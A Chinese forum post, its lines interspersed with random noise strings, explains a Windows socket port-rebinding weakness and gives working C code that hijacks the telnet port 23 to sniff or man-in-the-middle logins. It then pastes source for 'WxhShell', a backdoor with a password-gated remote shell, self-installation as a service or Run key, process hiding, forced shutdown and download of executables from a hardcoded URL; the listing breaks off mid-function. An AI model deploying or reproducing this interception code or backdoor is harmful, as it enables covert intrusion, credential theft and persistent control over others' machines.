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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^\6UTnS.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G`P+J  
;8v5 qz  
  saddr.sin_family = AF_INET; ( 0h]<7  
i~9)Hz;!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); > @%!r  
x('yBf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `^}9= Q'r  
tp]|/cx4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =@z"k'Vl`  
pqr" x2=.  
  这意味着什么?意味着可以进行如下的攻击: a&[nVu+  
I|5OCTu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 onlyvH4  
/PCQv_Y&,/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) yh)q96m-V=  
B dKwWgi+a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 **"P A8   
@hvq,[   
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6GN'rVr!Z  
;uDFd04w [  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +W1rm$Q  
=3:ltI.'*I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b2Hpuej  
AK!G#ug  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S=2,jPX2r  
0#7 dm9  
  #include ex1ecPpN  
  #include L}mhMxOTi  
  #include x9e 9$ww}  
  #include    vKC>t95  
  DWORD WINAPI ClientThread(LPVOID lpParam);   d0^2<  
  int main() +x2xQ8#|~~  
  { P:v y  
  WORD wVersionRequested; <b\urtoJ  
  DWORD ret; MI}D%n*  
  WSADATA wsaData; qSd $$L^  
  BOOL val; t|m3b~Oyv  
  SOCKADDR_IN saddr; r:cUAe7#  
  SOCKADDR_IN scaddr; 1:t>}[Y  
  int err; m+=!Z|K  
  SOCKET s; S`G\Cd;5  
  SOCKET sc; xpk|?/6  
  int caddsize; {;zPW!G  
  HANDLE mt; 4l*&3Ar  
  DWORD tid;   c>SeOnf  
  wVersionRequested = MAKEWORD( 2, 2 ); ;GAYcVB  
  err = WSAStartup( wVersionRequested, &wsaData ); 2$91+N*w9  
  if ( err != 0 ) { 1rEP)66N  
  printf("error!WSAStartup failed!\n"); Xwi&uyvU&  
  return -1; Ydx5kUJV<  
  } ;k8}D*?8  
  saddr.sin_family = AF_INET; }0( Na  
   cOQy|v`KD,  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9?8`" v  
3^Zi/r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -,dQ&Qf?  
  saddr.sin_port = htons(23); D |o@(V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R;o_*  
  { dc)Gk  
  printf("error!socket failed!\n"); 7yp*I[1Qf>  
  return -1; $#r(1 Ev  
  } +0 MKh  
  val = TRUE; Sx2j~(pOr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hqPn~Tq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q*O KA5  
  { CkU=0mcY  
  printf("error!setsockopt failed!\n"); q~n2VU4L*  
  return -1; g&>Hy!v,  
  } iIFQRnpu;3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <B`V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4lA+V,#  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ShpnFuH  
lI 1lP 1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o1Ln7r.  
  { umzYJ>2t  
  ret=GetLastError(); Pcs@`&}7r  
  printf("error!bind failed!\n"); [/G;XHL;?  
  return -1; R5"p7>  
  } ~|rkt`8p  
  listen(s,2); jGn^<T\  
  while(1) nlW&(cH  
  { 7o. 'F  
  caddsize = sizeof(scaddr); 3U)8P6Fz  
  //接受连接请求 }El_.@'T &  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !U_L7  
  if(sc!=INVALID_SOCKET) cy4'q ?r  
  { Pc'?p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); &pm{7nH  
  if(mt==NULL) `qTY  
  { %S.U`(.  
  printf("Thread Creat Failed!\n"); vXbT E$  
  break; aTsfl  
  } Ao T7sy7  
  } L])w-  
  CloseHandle(mt); Q8?D}h  
  } EcIQ20Z_-  
  closesocket(s); \]xYV}(FO  
  WSACleanup(); W1 Qc1T8  
  return 0; >nQ yF  
  }   !\1W*6U8;  
  DWORD WINAPI ClientThread(LPVOID lpParam) Oq6n.:8g"  
  { T;@>O^  
  SOCKET ss = (SOCKET)lpParam; KU,w9<~i(  
  SOCKET sc; rzDJH:W{2  
  unsigned char buf[4096]; 4&e@>  
  SOCKADDR_IN saddr; |@.<} /  
  long num; BA,6f?ktXS  
  DWORD val; Ib!rf:  
  DWORD ret; RWFf-VA?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G:`Jrh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D}sGBsOW  
  saddr.sin_family = AF_INET; Cw $^w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \F~Cbj+'Nu  
  saddr.sin_port = htons(23); a}fClI-u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yj6p19  
  { ,<b|@1\k  
  printf("error!socket failed!\n"); /T[ICd2J  
  return -1; CDj Dhs  
  } RWCS u$  
  val = 100; &pjV4m|j<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~aAJn IO  
  { b6&NzUt34V  
  ret = GetLastError(); !" %sp6Wc  
  return -1; #Hi]&)p_  
  } JWHt|zB g  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AijTT%  
  { $?AA"Nz  
  ret = GetLastError(); aLt{X)?  
  return -1; }Xj_Y]T  
  } xc.D!Iav  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9ox|.68q  
  { :xS&Y\ry  
  printf("error!socket connect failed!\n"); siYRRr  
  closesocket(sc); Y>Hl0$:=  
  closesocket(ss); GA.bRN2CI2  
  return -1; AUsQj\Nm%  
  } <[:7#Yo g  
  while(1) 2 pa3}6P+  
  { P lH`(n#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p''"E$B/(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +\GZ(!~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 lk1Gs{(qhH  
  num = recv(ss,buf,4096,0); yr2L  
  if(num>0) \&&(ytL  
  send(sc,buf,num,0); 9zYiG3 d  
  else if(num==0) NjN?RB/5  
  break; T% 13 '  
  num = recv(sc,buf,4096,0); -MU.Hu  
  if(num>0) LG{inhbp  
  send(ss,buf,num,0); : 5<9/  
  else if(num==0) [ 5 2zta  
  break; P3tG#cJ  
  } V< ApHb  
  closesocket(ss); fGf-fh;s  
  closesocket(sc); <W59mweW#5  
  return 0 ; ~+ s*\~  
  } l@r wf$-  
Q&7)vs  
\UqS -j|  
========================================================== R{uJczu  
t tFY _F~S  
下边附上一个代码,,WXhSHELL q%k(M[  
a`b zFu{  
========================================================== dIpW!Pj^  
%m{.l4/!O  
#include "stdafx.h" 1"&;1Ts  
D?yE$_3>c  
#include <stdio.h> H9VXsFTW  
#include <string.h> _b_?9b-)D  
#include <windows.h> ``|RO[+2  
#include <winsock2.h> RF~Ofi  
#include <winsvc.h> ^qGA!_  
#include <urlmon.h> bk"k&.C^+  
15KV} ){  
#pragma comment (lib, "Ws2_32.lib") wp %FM  
#pragma comment (lib, "urlmon.lib") wK'!xH^  
$dh4T";  
#define MAX_USER   100 // 最大客户端连接数 *Ht*)l?  
#define BUF_SOCK   200 // sock buffer c|}K_~l_  
#define KEY_BUFF   255 // 输入 buffer 0w(T^G hZ  
[AZ aT  
#define REBOOT     0   // 重启 q@!'R{fu  
#define SHUTDOWN   1   // 关机 Afy .3T @)  
n5+S"  
#define DEF_PORT   5000 // 监听端口 (y~laW!  
MATgJ`lsy  
#define REG_LEN     16   // 注册表键长度 mvq7G  
#define SVC_LEN     80   // NT服务名长度 PB(  
]osx.  
// 从dll定义API ]TBtLU3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bug}^t{M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R'I_xjC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hkwa""-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {!}F :~*r  
}\f(qw  
// wxhshell配置信息 +rsl( 08FY  
struct WSCFG { g 6VD_  
  int ws_port;         // 监听端口 J, 0pe\5  
  char ws_passstr[REG_LEN]; // 口令 @>G&7r:U  
  int ws_autoins;       // 安装标记, 1=yes 0=no !/6\m!e|1R  
  char ws_regname[REG_LEN]; // 注册表键名 TD{=L*{+  
  char ws_svcname[REG_LEN]; // 服务名 2:iYYRrg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 inPE/Ux  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wD6!#t k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f(6UL31  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8wX+ZL: 9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ni!;-,H+E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M U?{?5  
xaWGa1V'z  
}; Wm)-zvNY;  
NFY|^*bll  
// default Wxhshell configuration L$lo~7<]  
struct WSCFG wscfg={DEF_PORT, tS (i711  
    "xuhuanlingzhe", 7a:*Y"f,~  
    1, 4@v1jJj  
    "Wxhshell", W(2+z5z  
    "Wxhshell", qE0FgqRB  
            "WxhShell Service", <mZrR3v'D  
    "Wrsky Windows CmdShell Service", X a"XB  
    "Please Input Your Password: ", lI4J=8O0  
  1, F?b'L JS  
  "http://www.wrsky.com/wxhshell.exe", "7kgez#Y  
  "Wxhshell.exe" mQJ4;BJw  
    }; =t3vbV  
N.0HfYf  
// 消息定义模块 M|UxE/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YX ;n6~y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j|[(*i%7|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H DF"]l;  
char *msg_ws_ext="\n\rExit."; tw'hh@7-Y  
char *msg_ws_end="\n\rQuit."; ?7yQ&p  
char *msg_ws_boot="\n\rReboot..."; ,u}<Ws8N  
char *msg_ws_poff="\n\rShutdown..."; OL=ET)Y  
char *msg_ws_down="\n\rSave to "; e&$p-0DmT|  
9H h~ nR?  
char *msg_ws_err="\n\rErr!"; l:Dn3Q  
char *msg_ws_ok="\n\rOK!"; TBZ-17+  
731h ~x!u  
char ExeFile[MAX_PATH]; psIkG0 &  
int nUser = 0; Hz}+SAZ  
HANDLE handles[MAX_USER]; xH<'GB)  
int OsIsNt; +{xMIl_  
d"H<e}D  
SERVICE_STATUS       serviceStatus; _W0OM[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; aKv[  
50LHF %  
// 函数声明 sDLS*467  
int Install(void); :1aL9 fT  
int Uninstall(void); %K h2E2Pe  
int DownloadFile(char *sURL, SOCKET wsh); A\".t=+7  
int Boot(int flag); ~`t%M?l  
void HideProc(void); qyg*n>nt  
int GetOsVer(void); -3.UE^W2  
int Wxhshell(SOCKET wsl); 61/)l0 <;  
void TalkWithClient(void *cs); rH9uGm-*  
int CmdShell(SOCKET sock); h?0F-6z  
int StartFromService(void); V@vhj R4r\  
int StartWxhshell(LPSTR lpCmdLine); eo1&.FQu  
uR#'lb`3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IQ3n@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .OmQ'  
?k{|Lk  
// 数据结构和表定义 gyi)T?uS)  
SERVICE_TABLE_ENTRY DispatchTable[] = @Q;i.u{V  
{ P*pbwV#|  
{wscfg.ws_svcname, NTServiceMain}, r\(v+cd  
{NULL, NULL} S:ls[9G[3  
}; 9i0M/vx  
LZ~2=Y< U(  
// 自我安装 tC&fA E:S  
int Install(void) U;\S(s}  
{ [{`)j  
  char svExeFile[MAX_PATH]; Bul.RCP'  
  HKEY key; sFLcOPj-%  
  strcpy(svExeFile,ExeFile); B?SNea,I4  
>b>M Km>q  
// 如果是win9x系统,修改注册表设为自启动 PzjaCp'  
if(!OsIsNt) { Ptx,2e&Hq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [%)@|^hw91  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); * [tc  
  RegCloseKey(key); !w q4EV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i90}Xyt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q[M (Wqg  
  RegCloseKey(key); (lb6]MtTHY  
  return 0; '!!e+\h#  
    } Sv7 i! j  
  }  bRNK.[|  
} @ ]f3| >I  
else { u7HvdLql  
>;)2NrJV  
// 如果是NT以上系统,安装为系统服务 h$70H^r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Cl,8P  
if (schSCManager!=0) <B!'3C(P  
{ ##H;Yb  
  SC_HANDLE schService = CreateService =HVfJ"vK  
  ( R|iEvt  
  schSCManager, - yoAxPDW  
  wscfg.ws_svcname, +UzXN$73  
  wscfg.ws_svcdisp, 8O6_iGTBh  
  SERVICE_ALL_ACCESS, ! .AhzU1%Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %JQ~!3  
  SERVICE_AUTO_START, Va7c#P?  
  SERVICE_ERROR_NORMAL, ~LbS~_\C=  
  svExeFile, z!$gVWG  
  NULL, gmY/STN   
  NULL, XYjcJ  
  NULL, IAf$]Fh  
  NULL, ~\$=w10  
  NULL Jen%}\  
  ); PWvSbn6  
  if (schService!=0) Vvyj  
  { QC{u|  
  CloseServiceHandle(schService); |8H_-n  
  CloseServiceHandle(schSCManager); 1?(cmXj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *(G&B\  
  strcat(svExeFile,wscfg.ws_svcname); 4QE=f(u;h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7{pIPmJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7rcA[)<'  
  RegCloseKey(key); bni) Qw  
  return 0; ;o[rQ6+  
    } 1 tPVP  
  } (? \?it-  
  CloseServiceHandle(schSCManager); o~#f1$|Xn  
} 0x@A~!MoP  
} S ZlC4=6c  
1Dq<{;rWb  
return 1; (S|a 9#  
} (YwalfG {C  
9~c~E/4!  
// 自我卸载 1"?]= j:  
int Uninstall(void) :Hk_8J  
{ /v|Onq1Y4  
  HKEY key; _1  p DA  
Lz@$3(2  
if(!OsIsNt) { :&qhJtGo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yl$F~e1W  
  RegDeleteValue(key,wscfg.ws_regname); GAw(mH*  
  RegCloseKey(key); U&P{?>{u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O$qtq(Q%  
  RegDeleteValue(key,wscfg.ws_regname); Z\Z,,g+WL  
  RegCloseKey(key); *YtB )6j  
  return 0; }_}KVI  
  } }3Y <$YL"R  
} U]hF   
} hv>KX  
else { dv~pddOs  
H_w%'v&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v^SsoX>WMH  
if (schSCManager!=0) nO{ x^b <  
{ ;~+]! U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pYo=oI  
  if (schService!=0) qsI^oBD"  
  { p|3b/plZ  
  if(DeleteService(schService)!=0) { NvJV</l6 A  
  CloseServiceHandle(schService); 0C$8g Y*  
  CloseServiceHandle(schSCManager); 0(y:$  
  return 0; T#EFXHPr  
  } #y 1Bx,  
  CloseServiceHandle(schService); #DFp[\)1  
  } =gjDCx$|  
  CloseServiceHandle(schSCManager); 53Yxz3v  
} I[0!S IqY  
} [A5W+pDm  
_?`&JF?*  
return 1; gKo%(6{n~  
} pu9^e4B9  
7Xg?U'X  
// 从指定url下载文件 WC*=rWRxF  
int DownloadFile(char *sURL, SOCKET wsh) 3[d>&xk@$  
{ @;iXp>&&  
  HRESULT hr; 6L9, 'Bg  
char seps[]= "/"; *k [J6  
char *token; .[:VSM7T  
char *file; T95t"g?p  
char myURL[MAX_PATH]; W .I\J<=V  
char myFILE[MAX_PATH]; %S@L|t  
M`7y>Ud  
strcpy(myURL,sURL); bgF^(T35  
  token=strtok(myURL,seps); BRS#Fl:  
  while(token!=NULL) O_;Dk W  
  { '<dgT&8C  
    file=token; R)5n 8  
  token=strtok(NULL,seps); bT )]'(Xy  
  } g(Yb^'X/  
AjkW0FB:1  
GetCurrentDirectory(MAX_PATH,myFILE); V'DA[{\*  
strcat(myFILE, "\\"); UZ2TqR  
strcat(myFILE, file); CnISe^h  
  send(wsh,myFILE,strlen(myFILE),0); 9GU]l7C=z  
send(wsh,"...",3,0); X~oK[Nf'9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H8{ol6wc)6  
  if(hr==S_OK) ]:ZdV9`  
return 0; upy\gkpnGO  
else i7*EbaYzUO  
return 1; 4J0Rv od_  
LWnR?Qve<  
} VT%:zf  
k; ZxY"^  
// 系统电源模块 "=1;0uy]  
int Boot(int flag) ;*2>ES  
{ S( ^.?z  
  HANDLE hToken; x,n,Qlb  
  TOKEN_PRIVILEGES tkp; ~P .I<  
?r=jF)C<'  
  if(OsIsNt) { r(h`XMsU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aEt/NwgiQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5jB* fIz  
    tkp.PrivilegeCount = 1; UUc8*yU)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NSQp< m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0Ua%DyJ  
if(flag==REBOOT) { >&:NFq-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )%d*3\Tsd  
  return 0; ntVS:F  
} vBcq_sbo  
else { 2`G OJ,$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eE GfM0  
  return 0; vy9 w$ls  
} jszK7$]^  
  } [ic870_  
  else { O@V%Cu  
if(flag==REBOOT) { r!PpUwod  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^T::-pN*  
  return 0; iBTYY{-wF  
} "A$!, PX6  
else { t. ='/`!N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #S]ER907  
  return 0; qOih`dla  
} q 11IkDa  
} )3Z ^h<"j  
Ej ".axjT  
return 1; W2FD+ wt  
} #Lv2Zoi>G  
6 Orum/|h  
// win9x进程隐藏模块 "ZM4F?x  
void HideProc(void) E_e6^Sk5B(  
{ j>-gO,v, y  
4%nE*H%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q@t0NvNSu  
  if ( hKernel != NULL ) )G^ KDj"  
  { ",7Q   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *!s;"U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); i.D3'l  
    FreeLibrary(hKernel); aI^/X {d  
  } }G4 z tiuG  
9RN-suE[  
return; T&4qw(\G  
} Ez|oN,  
FKNMtp[`  
// 获取操作系统版本 N ,8/Y  
int GetOsVer(void) =U%Rvm  
{ AV9m_hZ t  
  OSVERSIONINFO winfo; |KSy`lY-j>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1cS}J:0P  
  GetVersionEx(&winfo); ojyIQk+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .A sv%p[W  
  return 1; Lzu.)C@Amx  
  else ho##Z*O  
  return 0; =  C4  
} EkgE_8  
&e 6CJ  
// 客户端句柄模块 &wD;SMr<  
int Wxhshell(SOCKET wsl) 35E_W>n  
{ :8CvRO*<  
  SOCKET wsh; 1$M@]7e+!+  
  struct sockaddr_in client; wr[,  
  DWORD myID; At7>V-f}  
&l3iV88  
  while(nUser<MAX_USER) Oo"^%F~%  
{ Ag{iq(X  
  int nSize=sizeof(client); .pvi!NnL-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &boOtl^  
  if(wsh==INVALID_SOCKET) return 1; Hemq +]6^  
xx[9~z=d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \,u_7y2 c  
if(handles[nUser]==0) sZx/Ee   
  closesocket(wsh); At-U2a#J{  
else $ s9Vrw0Z  
  nUser++; 'nXl>  
  } C(00<~JC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S30?VG9U0f  
cSXwYZDx?  
  return 0; q Y#n'&  
} ?>I;34tL(  
^h69Kr#d4  
// 关闭 socket 0NS<?p~_S  
void CloseIt(SOCKET wsh) gb H<]?  
{ xlhG,bb7  
closesocket(wsh); -$\+' \  
nUser--; b )B? F  
ExitThread(0); {q"OM*L(  
} zT!drq:x  
W[Ls|<Q  
// 客户端请求句柄 {phNds%  
void TalkWithClient(void *cs) &*+'>UEe5  
{ 0g+'/+Ho 4  
q@[Qj Gj@  
  SOCKET wsh=(SOCKET)cs; Y;?{|  
  char pwd[SVC_LEN]; _lamn }(x0  
  char cmd[KEY_BUFF]; /Mvf8v  
char chr[1]; :]\([Q+a  
int i,j; eEuvl`&  
 Vh_P/C+  
  while (nUser < MAX_USER) { i\,-oO  
+j< p \Kn>  
if(wscfg.ws_passstr) { ,6-:VIHQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wk)OkIFR  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u6AA4(  
  //ZeroMemory(pwd,KEY_BUFF); 3B84^>U<  
      i=0; U4d:] z  
  while(i<SVC_LEN) { IZpP[hov  
vEJWFoeEFm  
  // 设置超时 0cj>mj1M  
  fd_set FdRead; e 9;~P}  
  struct timeval TimeOut; !@}wDt  
  FD_ZERO(&FdRead); I}1NB3>^  
  FD_SET(wsh,&FdRead); wOU_*uY@6'  
  TimeOut.tv_sec=8; kM,C3x{A  
  TimeOut.tv_usec=0; 9[<)WQe6M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RW<D<5C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <g"{Wv: h  
W"k"I vTW}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %5(I/zB  
  pwd=chr[0]; jYk&/@`Ly  
  if(chr[0]==0xd || chr[0]==0xa) { Dfmjw  
  pwd=0; hb}+A=A=+  
  break; ynthDE o  
  } ;lE%M  
  i++; ?8'*,bK  
    } F(>Np2oi6  
.+$ Q<L  
  // 如果是非法用户,关闭 socket <3LbN FP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 32&;`]C  
} M/b Sud?@%  
.(K)?r-g5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~E17L]ete  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3LOdjT J  
e"|efE  
while(1) { LRL,m_gt  
VK m&iidU  
  ZeroMemory(cmd,KEY_BUFF); '=b/6@&  
0Tx6zO  
      // 自动支持客户端 telnet标准   qLD ?juas  
  j=0; Q'=x|K#xj  
  while(j<KEY_BUFF) { dYJ(!V&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X% t1 T4  
  cmd[j]=chr[0]; IG2r#N|C#  
  if(chr[0]==0xa || chr[0]==0xd) { F3On?x)  
  cmd[j]=0; Te"ioU?.  
  break; $a.JSXyxL  
  } h9}+l  
  j++; Hj^1or3R]  
    } ]Sf]J4eQ  
-t!~%_WCv  
  // 下载文件 'jWr<]3  
  if(strstr(cmd,"http://")) { rNXQf'*I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d; boIP`M;  
  if(DownloadFile(cmd,wsh)) ~vm%6CABM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z^3rLCa  
  else Fs9!S a7v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >mwlsL~X  
  } 0"<H;7K#W  
  else { V?6a 8lJ  
ZMQ Zs~;~d  
    switch(cmd[0]) { .*OdqLz  
  wr$("A(  
  // 帮助 oH97=>  
  case '?': { y%"{I7!A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XP!S$Q]D  
    break; mE+*)gb:Rd  
  } ~Y^+M*   
  // 安装 Sc]B#/~B  
  case 'i': { +}Dw3;W}m  
    if(Install()) xQ7l~O b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fDv2JdiU  
    else V5+=e^pa2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s}vAS~~2L3  
    break; j'Fpjt"&=  
    } <sb~ ^B  
  // 卸载 }bb;~  
  case 'r': { {'7B6  
    if(Uninstall()) $*^7iT4q_t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G/)O@Ugp  
    else 6AAz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?1~`*LE  
    break; 03$mYS_?  
    } R`NYEptJ  
  // 显示 wxhshell 所在路径 t% d Z-Ym  
  case 'p': { B6MB48#0gs  
    char svExeFile[MAX_PATH]; rD*jp6Cl  
    strcpy(svExeFile,"\n\r"); p $S*dr  
      strcat(svExeFile,ExeFile); ER%^!xA  
        send(wsh,svExeFile,strlen(svExeFile),0); [_BP)e  
    break; d[iQ` YW5  
    } bV^rsJm  
  // 重启 x]}^v#  
  case 'b': { /CrSu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uy>q7C  
    if(Boot(REBOOT)) lU8l}Ndz"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T$8)u'-pa  
    else { (~p< P+  
    closesocket(wsh); ; 5*&xz  
    ExitThread(0); 7r6.n61F  
    } j\eI0b @*  
    break; ">\?&0  
    } 'g}!  
  // 关机 <$D`Z-6  
  case 'd': { sA+ }TNhq  
